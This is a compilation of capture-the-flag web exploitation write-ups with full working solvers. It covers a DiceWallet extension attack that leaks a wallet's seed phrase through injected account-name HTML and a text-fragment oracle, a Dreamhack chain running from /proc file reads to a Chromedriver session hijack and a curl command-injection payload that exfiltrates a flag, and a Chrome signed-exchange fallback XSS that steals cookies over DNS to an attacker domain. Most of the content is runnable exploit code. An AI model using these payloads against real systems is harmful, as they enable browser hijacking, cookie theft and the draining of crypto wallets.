result.fn = "dwOnMessage";
} else if (result.type === "DICE_ERROR") {
// On error, it rewrites fn to dwOnError.
result.fn = "dwOnError";
}
// The secret is always appended and the whole object is posted back into the page.
result.secret = secret;
window.postMessage(result, location.origin);
});
// background.js
case "eth_signTypedData_v4": {
if (!isConnected(origin)) throw new Error("Unauthorized - call eth_requestAccounts first");
const typedData = typeof params[1] === "string" ? JSON.parse(params[1]) : params[1];
const { domain, types, message } = typedData;
const cid = nextConfirmId();
await requestConfirmation(
cid,
// Bug: details uses raw JSON.stringify(...) and is not URI-encoded.
// If attacker-controlled data contains '#', it can retarget the popup route.
`/confirm?id=${cid}&type=eth_signTypedData_v4&origin=${encodeURIComponent(origin)}&details=${JSON.stringify({ domain, types, message })}`
);
return w.signTypedData(domain, sigTypes, message);
}
case "wallet_renameAccount": {
requireAllowedOrigin(origin);
const rIdx = params[0]?.index ?? 0;
const rName = params[0]?.name;
if (rIdx < 0 || rIdx >= wallet.accounts.length) throw new Error("Invalid account index");
if (!rName) throw new Error("Name required");
// Bug: attacker-controlled HTML is stored as the account name.
wallet.accounts[rIdx].name = rName;
await saveWallet();
return { ok: true };
}
async function handleRequest(msg, origin) {
try {
const response = await handleProviderRequest(msg.method, msg.params || [], origin);
if (response) {
// Bug: the original msg object is mutated and returned.
// If response is falsy, this block does not run and attacker-controlled fields survive.
msg.type = "DICE_RESPONSE";
msg.result = response;
}
} catch (err) {
msg.type = "DICE_ERROR";
msg.error = err.message;
}
return msg;
}
// popup.js
function hashUrl() {
if (location.href.includes("#")) {
// Bug: split("#").pop() means an extra '#' inside attacker-controlled data
// changes which route the popup thinks it is on.
return new URL(location.href.split("#").pop(), "http://x");
}
return new URL("/", "http://x");
}
// popup.js export route
(async () => {
try {
// Useful sink: once the popup is steered here, exportMnemonic is called
// and the mnemonic is rendered into the DOM.
const { mnemonic } = await sendMsg({ action: "exportMnemonic" });
populateGrid(mnemonic.split(" "));
} catch (e) { toast(e.message, true); }
})();exploit payload
async function runLocalOracle(batch, attackerOrigin) {
if (window.__diceOracleRan) return;
window.__diceOracleRan = true;
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
async function safeRequest(body) {
return window.ethereum.request(body);
}
for (let i = 0; i < 100 && !window.ethereum; i++) {
await sleep(50);
}
const account = (await safeRequest({ method: "eth_accounts" }))[0];
for (const item of batch) {
const probeFrag = item.frag || item.probe;
const probeMarker = item.marker || item.probe;
const stage1 = '</span><meta http-equiv="refresh" content="2;url=/popup.html#/export/phrase"><span>';
const stage2 =
'</span>' +
'<meta http-equiv="refresh" content="1;url=#/export/phrase:~:text=' + encodeURIComponent(probeFrag) + '">' +
'<svg width="10" height="3200"></svg>' +
'<div id="probe">' + probeMarker + '</div>' +
'<iframe id="beacon" loading="lazy" srcdoc="<link rel=preconnect href=' + item.endpoint + '>"></iframe>' +
'<span>';
await safeRequest({
method: "wallet_renameAccount",
params: [{ index: 0, name: stage1 }],
});
window.ethereum.request({
method: "personal_sign",
params: ["0x1234", account],
}).catch(() => {});
await sleep(400);
await safeRequest({
method: "wallet_renameAccount",
params: [{ index: 0, name: stage2 }],
});
await sleep(4500);
}
location.href = "about:blank";
}
async function main() {
for (let i = 0; i < 100 && !window.ethereum; i++) {
await new Promise((resolve) => setTimeout(resolve, 50));
}
const payload = `(${runLocalOracle.toString()})(cfg, ${JSON.stringify(location.origin)})`;
const req = [payload];
req.type = "DICE_REQUEST";
req.method = "eth_getTransactionByHash";
req.params = ["0x0000000000000000000000000000000000000000000000000000000000000001"];
req.fn = "setTimeout";
window.postMessage(req, location.origin);
location.href = "http://localhost:8080/";
}solver
#!/usr/bin/env python3
"""
Blind DiceWallet text-fragment oracle solver.
Examples:
Remote:
python3 lab/solve_true_oracle.py \
--oracle-url http://1pc.tf:4444/oracle.html \
--connect-host 1pc.tf
Local Docker target, without Docker commands in the solver:
python3 lab/remoteprobe/server.py &
python3 lab/solve_true_oracle.py \
--oracle-url http://172.0.0.1:4444/oracle.html \
--connect-host 172.0.0.1
"""
import argparse
import base64
import json
import socket
import subprocess
import sys
import threading
import time
from pathlib import Path
from urllib import parse, request
ROOT = Path(__file__).resolve().parent
DEFAULT_BOT_URL = "http://127.0.0.1:18080"
DEFAULT_FLAG_URL = "http://127.0.0.1:18080/flag"
DEFAULT_ORACLE_URL = "http://127.0.0.1:4444/oracle.html"
DEFAULT_BIND_HOST = "0.0.0.0"
DEFAULT_CONCURRENCY = 3
DEFAULT_BATCH_SIZE = 4
DEFAULT_WAIT_PER_PROBE = 7.0
DEFAULT_WAIT_FLOOR = 12.0
DEFAULT_PORT_BASE = 9300
DEFAULT_STATE = ROOT / "true_oracle_state.json"
DEFAULT_VISIT_RETRY = 5.0
def post_json(url, payload):
data = json.dumps(payload).encode()
req = request.Request(url, data=data, headers={"Content-Type": "application/json"})
with request.urlopen(req, timeout=30) as response:
return json.loads(response.read().decode())
def post_visit_with_retry(bot_url, visit_url, retry_delay):
while True:
result = post_json(f"{bot_url}/visit", {"url": visit_url})
if result.get("ok"):
return result
error = result.get("error", "")
if "Too many concurrent visits" not in error:
raise RuntimeError(f"Visit failed for {visit_url}: {result}")
time.sleep(retry_delay)
def load_wordlist():
script = r"""
const { LangEn } = require('./lab/dicewallet/bot/node_modules/ethers/lib.commonjs/wordlists/lang-en.js');
const wl = LangEn.wordlist();
const out = [];
for (let i = 0; i < 2048; i++) out.push(wl.getWord(i));
console.log(JSON.stringify(out));
"""
output = subprocess.run(
["node", "-e", script],
text=True,
capture_output=True,
check=True,
).stdout
return json.loads(output)
def load_state(path):
if not path.exists():
return {"discovery": {}, "positions": {}, "meta": {}}
with path.open() as handle:
return json.load(handle)
def save_state(path, state):
path.parent.mkdir(parents=True, exist_ok=True)
tmp = path.with_suffix(path.suffix + ".tmp")
with tmp.open("w") as handle:
json.dump(state, handle, indent=2, sort_keys=True)
tmp.replace(path)
def build_cfg(items):
return base64.b64encode(json.dumps(items).encode()).decode()
def normalize_probe(probe):
if isinstance(probe, str):
return {"label": probe, "probe": probe, "frag": probe, "marker": probe}
label = probe.get("label") or probe.get("probe") or probe.get("marker") or probe.get("frag")
if not label:
raise RuntimeError(f"Invalid probe spec: {probe!r}")
return {
"label": label,
"probe": probe.get("probe", label),
"frag": probe.get("frag", probe.get("probe", label)),
"marker": probe.get("marker", probe.get("probe", label)),
}
class NativeListener:
def __init__(self, bind_host, port):
self.bind_host = bind_host
self.port = port
self.triggered = False
self._server = None
self._stop = threading.Event()
self._ready = threading.Event()
self._thread = threading.Thread(target=self._serve, daemon=True)
self._thread.start()
if not self._ready.wait(timeout=3):
raise RuntimeError(f"Listener on {bind_host}:{port} failed to start")
def _serve(self):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._server = server
try:
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((self.bind_host, self.port))
server.listen(32)
server.settimeout(0.5)
self._ready.set()
while not self._stop.is_set():
try:
client, _addr = server.accept()
except socket.timeout:
continue
except OSError:
break
if self._stop.is_set():
try:
client.close()
except OSError:
pass
break
self.triggered = True
try:
client.close()
except OSError:
pass
finally:
self._ready.set()
try:
server.close()
except OSError:
pass
self._server = None
def close(self):
self._stop.set()
try:
if self._server is not None:
self._server.close()
except OSError:
pass
self._thread.join(timeout=1)
def create_listener(*, bind_host, connect_host, port):
handle = NativeListener(bind_host, port)
endpoint = f"http://{connect_host}:{port}"
return handle, endpoint
def schedule_batches(
*,
batches,
bind_host,
connect_host,
oracle_url,
bot_url,
port_base,
visit_retry,
wait_per_probe,
wait_floor,
):
jobs = []
for batch_index, probes in enumerate(batches):
listeners = []
cfg = []
for item_index, probe in enumerate(probes):
probe_spec = normalize_probe(probe)
port = port_base + (batch_index * batch_size_hint(batches)) + item_index
handle, endpoint = create_listener(
bind_host=bind_host,
connect_host=connect_host,
port=port,
)
listeners.append((probe_spec["label"], handle))
cfg.append({
"label": probe_spec["label"],
"probe": probe_spec["probe"],
"frag": probe_spec["frag"],
"marker": probe_spec["marker"],
"endpoint": endpoint,
})
visit_url = f"{oracle_url}?cfg={build_cfg(cfg)}"
post_visit_with_retry(bot_url, visit_url, visit_retry)
jobs.append(
{
"probes": probes,
"listeners": listeners,
"wait": max(wait_floor, len(probes) * wait_per_probe),
"started_at": time.time(),
}
)
return jobs
def batch_size_hint(batches):
return max((len(batch) for batch in batches), default=1) + 2
def collect_jobs(jobs):
deadline = max(job["started_at"] + job["wait"] for job in jobs)
now = time.time()
if deadline > now:
time.sleep(deadline - now)
results = {}
try:
for job in jobs:
for probe, handle in job["listeners"]:
results[probe] = handle.triggered
finally:
for job in jobs:
for _probe, handle in job["listeners"]:
handle.close()
return results
def process_probe_set(
*,
probes,
state_bucket,
state_path,
state,
bind_host,
connect_host,
concurrency,
batch_size,
oracle_url,
bot_url,
port_base,
visit_retry,
wait_per_probe,
wait_floor,
label,
):
remaining = [probe for probe in probes if probe not in state_bucket]
total = len(probes)
if not remaining:
print(f"[+] {label}: already complete ({total}/{total})")
return
print(f"[+] {label}: {total - len(remaining)}/{total} complete, {len(remaining)} remaining")
batch_groups = []
current_group = []
for index in range(0, len(remaining), batch_size):
current_group.append(remaining[index:index + batch_size])
if len(current_group) == concurrency:
batch_groups.append(current_group)
current_group = []
if current_group:
batch_groups.append(current_group)
completed = total - len(remaining)
for group in batch_groups:
jobs = schedule_batches(
batches=group,
bind_host=bind_host,
connect_host=connect_host,
oracle_url=oracle_url,
bot_url=bot_url,
port_base=port_base,
visit_retry=visit_retry,
wait_per_probe=wait_per_probe,
wait_floor=wait_floor,
)
results = collect_jobs(jobs)
for probe, triggered in results.items():
state_bucket[probe] = triggered
save_state(state_path, state)
completed += sum(len(batch) for batch in group)
print(f"[+] {label}: {completed}/{total}")
def position_phase(
*,
candidates,
state,
state_path,
full_scan,
bind_host,
connect_host,
concurrency,
batch_size,
oracle_url,
bot_url,
port_base,
visit_retry,
wait_per_probe,
wait_floor,
):
positions = {}
for pos in range(1, 13):
bucket = state["positions"].setdefault(str(pos), {})
pending = [word for word in candidates if word not in bucket]
print(f"[+] position {pos}: {len(candidates) - len(pending)}/{len(candidates)} complete")
while pending:
groups = []
current = []
for index in range(0, len(pending), batch_size):
batch = [f"{pos}. {word}" for word in pending[index:index + batch_size]]
current.append(batch)
if len(current) == concurrency:
groups.append(current)
current = []
if current:
groups.append(current)
for group in groups:
jobs = schedule_batches(
batches=group,
bind_host=bind_host,
connect_host=connect_host,
oracle_url=oracle_url,
bot_url=bot_url,
port_base=port_base + pos * 128,
visit_retry=visit_retry,
wait_per_probe=wait_per_probe,
wait_floor=wait_floor,
)
results = collect_jobs(jobs)
for probe, triggered in results.items():
bucket[probe.split(". ", 1)[1]] = triggered
save_state(state_path, state)
winner = [word for word, triggered in bucket.items() if not triggered]
if not full_scan and len(winner) == 1:
positions[pos] = winner[0]
break
winner = [word for word, triggered in bucket.items() if not triggered]
if not full_scan and len(winner) == 1:
positions[pos] = winner[0]
break
pending = [word for word in candidates if word not in bucket]
winner = [word for word, triggered in bucket.items() if not triggered]
if full_scan:
positions[pos] = winner
print(f"[+] position {pos}: {len(winner)} candidates")
else:
if len(winner) != 1:
raise RuntimeError(f"Position {pos} unresolved: {winner}")
positions[pos] = winner[0]
print(f"[+] position {pos}: {positions[pos]}")
return positions
def parse_args():
parser = argparse.ArgumentParser(description="Blind DiceWallet text-fragment oracle solver")
parser.add_argument("--bot-url", default=DEFAULT_BOT_URL, help="Base URL for the bot visit service")
parser.add_argument("--flag-url", default=DEFAULT_FLAG_URL, help="URL for /flag submission")
parser.add_argument("--oracle-url", default=DEFAULT_ORACLE_URL, help="Reachable attacker oracle page on your host/domain")
parser.add_argument("--bind-host", default=DEFAULT_BIND_HOST, help="Local bind host for native listeners")
parser.add_argument("--connect-host", help="Public or bridge host/IP the browser should connect to for listener endpoints")
parser.add_argument("--concurrency", type=int, default=DEFAULT_CONCURRENCY, help="Concurrent visits")
parser.add_argument("--batch-size", type=int, default=DEFAULT_BATCH_SIZE, help="Probes per visit")
parser.add_argument("--wait-per-probe", type=float, default=DEFAULT_WAIT_PER_PROBE, help="Seconds to allow per probe")
parser.add_argument("--wait-floor", type=float, default=DEFAULT_WAIT_FLOOR, help="Minimum seconds to wait per visit")
parser.add_argument("--port-base", type=int, default=DEFAULT_PORT_BASE, help="Starting port range for temporary listeners")
parser.add_argument("--state", type=Path, default=DEFAULT_STATE, help="Resume/checkpoint state path")
parser.add_argument("--visit-retry", type=float, default=DEFAULT_VISIT_RETRY, help="Seconds to wait before retrying when the bot is at max active visits")
parser.add_argument("--candidate-word", action="append", default=[], help="Restrict to these candidates instead of the full BIP39 list")
parser.add_argument("--candidate-file", type=Path, help="Load candidate words from a newline-delimited file")
parser.add_argument("--skip-discovery", action="store_true", help="Assume candidate-word values are already the phase-1 superset")
parser.add_argument("--full-position-scan", action="store_true", help="Scan every candidate for every position and keep all non-triggered words")
parser.add_argument("--no-flag", action="store_true", help="Do not submit the final mnemonic to /flag")
return parser.parse_args()
def main():
args = parse_args()
connect_host = args.connect_host or parse.urlparse(args.oracle_url).hostname
if not connect_host:
raise RuntimeError("--connect-host is required when oracle-url has no host")
state = load_state(args.state)
state["meta"] = {
"bot_url": args.bot_url,
"oracle_url": args.oracle_url,
"batch_size": args.batch_size,
"concurrency": args.concurrency,
"connect_host": connect_host,
}
save_state(args.state, state)
if args.candidate_file:
candidates = [line.strip() for line in args.candidate_file.read_text().splitlines() if line.strip()]
elif args.candidate_word:
candidates = args.candidate_word
else:
candidates = load_wordlist()
if args.skip_discovery:
superset = candidates
print(f"[+] Using provided candidate superset ({len(superset)} words)")
else:
process_probe_set(
probes=candidates,
state_bucket=state["discovery"],
state_path=args.state,
state=state,
bind_host=args.bind_host,
connect_host=connect_host,
concurrency=args.concurrency,
batch_size=args.batch_size,
oracle_url=args.oracle_url,
bot_url=args.bot_url,
port_base=args.port_base,
visit_retry=args.visit_retry,
wait_per_probe=args.wait_per_probe,
wait_floor=args.wait_floor,
label="discovery",
)
save_state(args.state, state)
superset = [word for word in candidates if not state["discovery"][word]]
print(f"[+] discovery superset: {len(superset)} words")
print(" " + " ".join(sorted(superset)))
positions = position_phase(
candidates=superset,
state=state,
state_path=args.state,
full_scan=args.full_position_scan,
bind_host=args.bind_host,
connect_host=connect_host,
concurrency=args.concurrency,
batch_size=args.batch_size,
oracle_url=args.oracle_url,
bot_url=args.bot_url,
port_base=args.port_base + 2000,
visit_retry=args.visit_retry,
wait_per_probe=args.wait_per_probe,
wait_floor=args.wait_floor,
)
save_state(args.state, state)
if args.full_position_scan:
for pos in range(1, 13):
print(f"[+] position {pos} candidates: {' '.join(positions[pos])}")
return
mnemonic = " ".join(positions[index] for index in range(1, 13))
print(f"[+] mnemonic: {mnemonic}")
if not args.no_flag:
result = post_json(args.flag_url, {"mnemonic": mnemonic})
if "flag" not in result:
raise RuntimeError(f"Unexpected /flag response: {result}")
print(f"[+] flag: {result['flag']}")
if __name__ == "__main__":
try:
main()
except Exception as exc:
print(f"[!] {exc}", file=sys.stderr)
sys.exit(1)DiceWallet follow-up
<details> block can replace the flat STTF fallback marker.<details> on an absent probe and the nested lazy iframe srcdoc with link rel=preconnect fires./proc self-XSS to Chromedriver session hijack
| Event Name | Dreamhack CTF Season 8 Round #2 (Web) |
| GitHub URL | - |
| Challenge Name | Go Through Me |
Attachments
References
/profile/ is an unauthenticated arbitrary file read over absolute paths with attacker-controlled offset and limit, and /api/report launches a Selenium bot on an attacker-controlled URL./proc/<botpid>/cmdline as an HTML gadget, then reads /proc/<botpid>/mem and /proc/<botpid>/task/<pid>/children to recover the live Selenium sessionId and Chromedriver --port./_api/package-manager/remove with a command-injection payload that hex-dumps /flag.txt, logs into the public app from inside Docker, and writes the flag into a public post./proc XSS -> local Chromedriver CDP hijack -> internal Automad JS execution -> command injection -> public post exfiltration.ns_last_pid + 1 and retries if the pid or memory scan races.why it is vulnerable
// user-panel/main.go
func profileHandler(w http.ResponseWriter, r *http.Request) {
name := strings.TrimPrefix(r.URL.Path, "/profile/")
fullPath := filepath.Join("/", name) // attacker controls the absolute path
f, _ := os.Open(fullPath)
offset, _ := strconv.ParseInt(r.URL.Query().Get("offset"), 0, 64)
limit, _ := strconv.ParseInt(r.URL.Query().Get("limit"), 0, 64)
buf := make([]byte, limit)
f.ReadAt(buf, offset) // bounded random-access read into /proc/*
fmt.Fprint(w, printable(buf)) // enough to recover text-ish secrets from process state
}
func reportHandler(w http.ResponseWriter, r *http.Request) {
path := r.FormValue("path")
finalURL := "http://localhost:80" + path
exec.Command("python3", "bot.py", finalURL, adminPassword).Start()
// attacker controls a URL string that is later visible in /proc/<pid>/cmdline
}# user-panel/bot.py
# The bot authenticates to the internal admin panel first...
driver.get("http://admin-app/dashboard/login")
...
submit_btn.click()
# ...then visits attacker-controlled content in the same browser session.
driver.get(url)
time.sleep(60) # long enough to scan /proc and reuse the existing sessionInference from the working payload against the bundled `automad/automad v2.x-dev` image:
`/_api/package-manager/remove` reaches a shell sink with attacker-controlled `package`,
so `foo; <cmd>;#` yields command execution once the CSRF token is supplied.exploit payload
// Stage 1: JS read back from /proc/<botpid>/cmdline and executed in the bot page.
// It waits for a config post containing <sessionId>:<port>, then tells Chromedriver
// to inject stage 2 into every new document and navigates the browser to admin-app.
const body = JSON.stringify({
cmd: 'Page.addScriptToEvaluateOnNewDocument',
params: { source: 'onload=_=>eval(name)' }
});
fetch('http://localhost:' + port + '/session/' + sid + '/goog/cdp/execute', {
method: 'POST',
mode: 'no-cors',
headers: { 'Content-Type': 'text/plain' },
body
});
fetch('http://localhost:' + port + '/session/' + sid + '/url', {
method: 'POST',
mode: 'no-cors',
headers: { 'Content-Type': 'text/plain' },
body: '{"url":"http://admin-app/dashboard"}'
});
// Stage 2: JS now running in the authenticated Automad origin.
var csrf = document.querySelector('meta[name=csrf]').content;
var payload = "foo;u=flaguser;p=flagpass;rm -f /tmp/c;" +
'curl -sS -c /tmp/c -d "username=$u&password=$p&nickname=Flaguser&bio=Flaguser" http://app/register >/dev/null 2>&1||true;' +
'curl -sS -b /tmp/c -c /tmp/c -d "username=$u&password=$p" http://app/login >/dev/null;' +
'h=$(od -An -tx1 -v /flag.txt|tr -d " \\n");' +
'curl -sS -b /tmp/c -d "title=FLAGxxxx&content=$h" http://app/edit >/dev/null;#';
var req = '__csrf__=' + encodeURIComponent(csrf) + '&package=' + encodeURIComponent(payload);
var x = new XMLHttpRequest();
x.open('POST', '/_api/package-manager/remove', false);
x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
x.send(req);solver
#!/usr/bin/env python3
import json
import random
import re
import string
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
BASE = "http://host1.dreamhack.games:18735"
SID_RE = re.compile(r'sessionId":"([0-9a-f]{32})')
PORT_RE = re.compile(r'chromedriver.*--port=(\d+)')
HEX_RE = re.compile(r"<p>([0-9a-f]{8,})</p>", re.I)
def rand(n=8):
return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))
s = requests.Session()
def get(path, sess=s):
return sess.get(BASE + path, timeout=5)
def post(path, data, sess=s):
return sess.post(BASE + path, data=data, timeout=5, allow_redirects=False)
u, p = rand(), rand()
post("/register", {"username": u, "password": p, "nickname": "Researcher", "bio": "Researcher"})
assert post("/login", {"username": u, "password": p}).status_code in (302, 303)
highest = 0
for i in range(1, 200):
if get(f"/page/{i}").status_code == 200:
highest = i
flag_title = "FLAG" + rand(4)
cmd_page, cfg_page, first_flag_page = highest + 1, highest + 2, highest + 3
shell = (
"foo;u=flaguser;p=flagpass;rm -f /tmp/c;"
'curl -sS -c /tmp/c -d "username=$u&password=$p&nickname=Flaguser&bio=Flaguser" http://app/register >/dev/null 2>&1||true;'
'curl -sS -b /tmp/c -c /tmp/c -d "username=$u&password=$p" http://app/login >/dev/null;'
'h=$(od -An -tx1 -v /flag.txt|tr -d " \\n");'
f'curl -sS -b /tmp/c -d "title={flag_title}&content=$h" http://app/edit >/dev/null;#'
)
stage2 = (
"var c=document.querySelector('meta[name=csrf]').content;"
"var b='__csrf__='+encodeURIComponent(c)+'&package='+encodeURIComponent(" + json.dumps(shell) + ");"
"var x=new XMLHttpRequest();x.open('POST','/_api/package-manager/remove',false);"
"x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send(b)"
)
post("/edit", {"title": "CMDBODY", "content": stage2.encode().hex()})
ns_last_pid = int(get("/profile/proc/sys/kernel/ns_last_pid%3f").text.strip())
bot_pid = ns_last_pid + 1
inner = (
"(()=>{x=0;p=_=>fetch('/page/" + str(cfg_page) + "?'+Date.now()).then(r=>r.text()).then(a=>{"
"m=/([0-9a-f]{32}):(\\d+)/.exec(a);if(!m||x)return;"
"fetch('/page/" + str(cmd_page) + "').then(r=>r.text()).then(b=>{h=/<p>([0-9a-f]+)/.exec(b);if(!h||x)return;x=1;"
"name=h[1].replace(/../g,a=>unescape('%'+a));s=m[1];t=m[2];"
"b=JSON.stringify({cmd:'Page.addScriptToEvaluateOnNewDocument',params:{source:'onload=_=>eval(name)'}});"
"H={'Content-Type':'text/plain'};"
"fetch('http://localhost:'+t+'/session/'+s+'/goog/cdp/execute',{method:'POST',mode:'no-cors',headers:H,body:b})"
".then(_=>fetch('http://localhost:'+t+'/session/'+s+'/url',{method:'POST',mode:'no-cors',headers:H,body:'{\"url\":\"http://admin-app/dashboard\"}'}))"
"})});setInterval(p,1000);p()})()"
)
wrapper = "<script>h='" + inner.encode().hex() + "';s='';for(i=0;i<h.length;i+=2)s+=String.fromCharCode(parseInt(h.substr(i,2),16));eval(s)</script>"
prefix = f"python3\x00bot.py\x00http://localhost:80/profile/proc/{bot_pid}/cmdline%3f"
path = f"/profile/proc/{bot_pid}/cmdline%3f{wrapper}?offset={len(prefix.encode())}&limit={len(wrapper.encode())}"
post("/api/report", {"path": path})
time.sleep(12)
maps = get(f"/profile/proc/{bot_pid}/maps%3f").text
targets = []
for line in maps.splitlines():
parts = line.split()
if len(parts) < 2 or "-" not in parts[0]:
continue
perms = parts[1]
name = parts[-1] if len(parts) >= 6 else ""
start, end = [int(x, 16) for x in parts[0].split("-")]
if ("[heap]" in line and "rw-p" in perms) or ("rw-p" in perms and not name and end - start >= 0x100000):
for off in range(start, end, 1500):
targets.append((off, min(1500, end - off)))
def scan(target):
off, limit = target
text = get(f"/profile/proc/{bot_pid}/mem%3f?offset={off}&limit={limit}", requests.Session()).text
m = SID_RE.search(text)
return m.group(1) if m else None
sid = None
with ThreadPoolExecutor(max_workers=20) as ex:
futures = [ex.submit(scan, t) for t in targets]
for fut in as_completed(futures):
sid = fut.result()
if sid:
break
assert sid
children = get(f"/profile/proc/{bot_pid}/task/{bot_pid}/children%3f").text.split()
port = None
for child in children:
m = PORT_RE.search(get(f"/profile/proc/{child}/cmdline%3f").text)
if m:
port = m.group(1)
break
assert port
post("/edit", {"title": f"{sid}:{port}", "content": f"{sid}:{port}"})
deadline = time.time() + 60
while time.time() < deadline:
for i in range(first_flag_page, first_flag_page + 10):
res = get(f"/page/{i}")
if res.status_code != 200 or flag_title not in res.text:
continue
m = HEX_RE.search(res.text)
if not m:
continue
flag = bytes.fromhex(m.group(1)).decode(errors="ignore").strip()
if flag.startswith("DH{") and flag.endswith("}"):
print(flag)
raise SystemExit
time.sleep(1)
raise SystemExit("flag not recovered")SXG invalid-signed-exchange FALLBACK REDIRECT → escape a reflected application/signed-exchange Content-Type (DoH-proxy XSS bootstrap)
| Event Name | SAS CTF 2026 |
| GitHub URL | - |
| Challenge Name | XOD Revenge (web, id=8, 15 solves) |
Attachments
GET /?dns=<b64> DoH proxy → UDP to 1.1.1.1:53 → echoes the raw DNS reply with Content-Type: <reflected request Accept>;charset=UTF-8. Flag = non-HttpOnly cookie flag on http://chall/; bot does ONE top-level goto(url) (url must start http://chall/). Classic "XOD" / DNS-over-HTTPS XSS: craft a DNS query whose echoed reply is valid HTML/JS.Accept ends in application/signed-exchange;v=b3;q=0.7; reflected as Content-Type, Chrome's last-media-type-wins parse routes the document into SXG handling → net::ERR_INVALID_SIGNED_EXCHANGE → the document never renders → no JS bootstrap. (A ;charset param doesn't add a comma segment, so it never escapes.)Accept rebuilt as allow_sxg=false (no signed-exchange) → that load renders. Point ?dns= at an attacker-owned domain so its authoritative NS shapes the proxied reply bytes to contain a valid https fallback URL; Chrome redirects out of the SXG error and the chain bootstraps.<script src=/?dns=STAGE2>) → stage2 (eval(unescape(location.hash.slice(1)))) → document.cookie → DNS A-query <hex>.<attacker-domain> via /?dns= → attacker authoritative NS logs the cookie.fallbackUrlLength@offset8 + valid https URL@offset10 makes Chrome fallback-redirect → renderable same-host doc → the http://chall flag cookie is readable there (cookies are scheme-agnostic) → exfiltrated end-to-end in the harness. Precise finding: Chrome reads the fallback URL strictly at body offset 10 (len@8) — a normal DNS reply (URL only inside the qname at ~offset 13, NSCOUNT=0) does NOT fire (tested: ERR_INVALID_SIGNED_EXCHANGE), so the solve needs the DoH proxy to echo an attacker-authoritative reply whose bytes 8–10 carry the length+URL (the qname encoding is the delivery vector; the offline 1.1.1.1 forwarding step wasn't reproduced). http:// fallback URLs are rejected (https-only); the single-colon https:host form (from %2e) is accepted. Full chain solved locally end-to-end (Chromium 149, solve_local.mjs) — flag cookie exfiltrated. Crucial reusable pivot: the fallback URL must be https, so it lands on attacker infra; the attacker https page then 302-redirects back to http://chall/?dns=STAGE1, and the allow_sxg=false Accept (no signed-exchange) persists through that 302 → STAGE1's echoed reply renders as HTML (CT */*) → loads STAGE2 <script> (Accept */* → executes) → document.cookie → DNS-exfil via /?dns= (same-origin → CSP 'self' allows it). Verdict corrected from an earlier (wrong) "unsolvable on Chromium 148" — challenge has 15 solves.why it is vulnerable
# 1) reflected Accept -> Content-Type. Chrome picks the LAST comma media-type:
# Accept: ...,application/signed-exchange;v=b3;q=0.7 -> CT essence = application/signed-exchange
# -> document is parsed as a Signed HTTP Exchange -> ERR_INVALID_SIGNED_EXCHANGE (never renders).
# 2) SXG b3 body layout (lenient on the 8-byte magic): magic(8) | fallbackUrlLength(2) | fallbackUrl(N) | ...
# on parse failure Chrome still emits a fallback REDIRECT to fallbackUrl (must be a valid https URL),
# and that redirect is fetched with FrameAcceptHeaderValue(allow_sxg=false) -> Accept no longer ends in
# signed-exchange -> the target RENDERS. Using an attacker-authoritative domain lets the proxied DNS reply
# carry a real https fallback URL -> escapes the SXG error and bootstraps chall-origin script.
exploit payload
# exact bootstrap (team), base64url-decodes to a DNS query:
http://chall/?dns=U1gBAAABAAAAAAABFWh0dHBzOnlvdXJmYXRpcyUyZW1vbQN4b2QJeW91cmZhdGlzA21vbQAAAQABAAApEAAAAIAAAAA
# ID="SX"(0x5358) flags=0x0100 QD=1 + EDNS OPT ; QTYPE=A
# qname = https:yourfatis%2emom . xod . yourfatis . mom
# first label "https:yourfatis%2emom" == SXG fallback URL -> https://yourfatis.mom
# (%2e -> "." ; special-scheme "https:host" normalizes to "https://host"; yourfatis.mom = attacker domain)
Solver
import base64, struct
def doh(qname, qtype=1, qclass=1, qid=b"\x00\x00", flags=0x0100, opt=False):
# build a raw DNS query whose ECHOED reply we abuse (DNS-over-HTTPS XSS primitive)
q = qid + struct.pack(">H", flags) + struct.pack(">HHHH", 1, 0, 0, 1 if opt else 0)
for lbl in qname.split("."):
q += bytes([len(lbl)]) + lbl.encode()
q += b"\x00" + struct.pack(">HH", qtype, qclass)
if opt: # EDNS0 OPT: root name, type=41, udp=4096
q += b"\x00" + struct.pack(">HHIH", 41, 4096, 0x00008000, 0)
return "http://chall/?dns=" + base64.urlsafe_b64encode(q).decode().rstrip("=")
# stage2: echoed reply is valid JS. ID '/*' opens a JS comment over the binary header;
# single label '*/eval(unescape(location.hash.slice(1)))//' ; qclass=0 -> clean NOTIMP question-only echo.
STAGE2 = doh("*/eval(unescape(location.hash.slice(1)))//", qtype=1, qclass=0, qid=b"/*")
# load it: stage1's echoed-as-HTML reply contains <script src="{STAGE2}"></script>
# === FULL CHAIN, reproduced end-to-end locally on Chromium 149 (see solve_local.mjs) -> flag exfiltrated ===
# 1) BOOT (below): ?dns= whose attacker-authoritative reply is an invalid-magic SXG body with
# fallbackUrlLength@offset8 + https URL@offset10 == https://<attacker>/b -> Chrome SXG fallback redirect
# 2) https://<attacker>/b -> HTTP 302 -> http://chall/?dns=STAGE1 (allow_sxg=false PERSISTS across the 302)
# 3) STAGE1 echoed reply (CT=*/*) renders as HTML -> <script src="http://chall/?dns=STAGE2">
# 4) STAGE2 executes (script Accept */* -> CT */*) -> document.cookie -> fetch('/?dns='+b64(<hex>.<attacker>)) (CSP 'self' ok)
# bootstrap BOOT (attacker domain yourfatis.mom, verbatim from the winning solve):
BOOT = "http://chall/?dns=U1gBAAABAAAAAAABFWh0dHBzOnlvdXJmYXRpcyUyZW1vbQN4b2QJeW91cmZhdGlzA21vbQAAAQABAAApEAAAAIAAAAA"
# payload (URL #fragment, eval'd by stage2): read cookie -> hex -> DNS query under attacker domain -> exfil
# `fetch('/?dns='+btoa(buildDohQuery(toHex(document.cookie)+'.x.<attacker-domain>')))`
# submit BOOT to the bot: POST /report {"url": BOOT} (must start http://chall/ ; 2/min rate limit)